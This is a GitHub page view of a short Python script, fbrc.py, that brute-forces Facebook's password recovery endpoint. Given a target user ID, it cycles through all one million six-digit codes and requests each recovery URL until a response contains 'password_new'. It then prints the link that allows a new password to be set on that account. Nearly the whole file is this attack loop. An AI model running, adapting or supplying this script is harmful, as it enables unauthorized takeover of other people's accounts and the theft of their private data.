-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathfbrc.py
executable file
·84 lines (58 loc) · 1.69 KB
/
fbrc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#! /usr/bin/python
import signal
import requests
import sys
def signal_handler(sig, frame):
print('You pressed Ctrl+C!')
sys.exit(0)
class GracefulInterruptHandler(object):
def __init__(self, sig=signal.SIGINT):
self.sig = sig
def __enter__(self):
self.interrupted = False
self.released = False
self.original_handler = signal.getsignal(self.sig)
def handler(signum, frame):
self.release()
self.interrupted = True
signal.signal(self.sig, handler)
return self
def __exit__(self, type, value, tb):
self.release()
def release(self):
if self.released:
return False
signal.signal(self.sig, self.original_handler)
self.released = True
return True
i = 0
array = [0,0,0,0,0,0]
chars = "0123456789"
user_id = sys.argv[1]
lock = False
with GracefulInterruptHandler() as h:
for i in range(1000000):
password = ""
i+=1
if i % 10000 == 0:
print(f'{i / 10000} / 100')
for j in range(6):
password += chars[array[j]]
for j in range(6):
array[j] += 1
if array[j] >= 10:
array[j] = 0
break
try:
x = requests.get(f'https://www.facebook.com/recover/password/?u={user_id}&n={password}')
except:
if not lock:
i-=1
lock = True
continue
lock = False
if 'password_new' in x.text:
print(f'connect to https://www.facebook.com/recover/password/?u={user_id}&n={password}')
sys.exit()
if h.interrupted:
break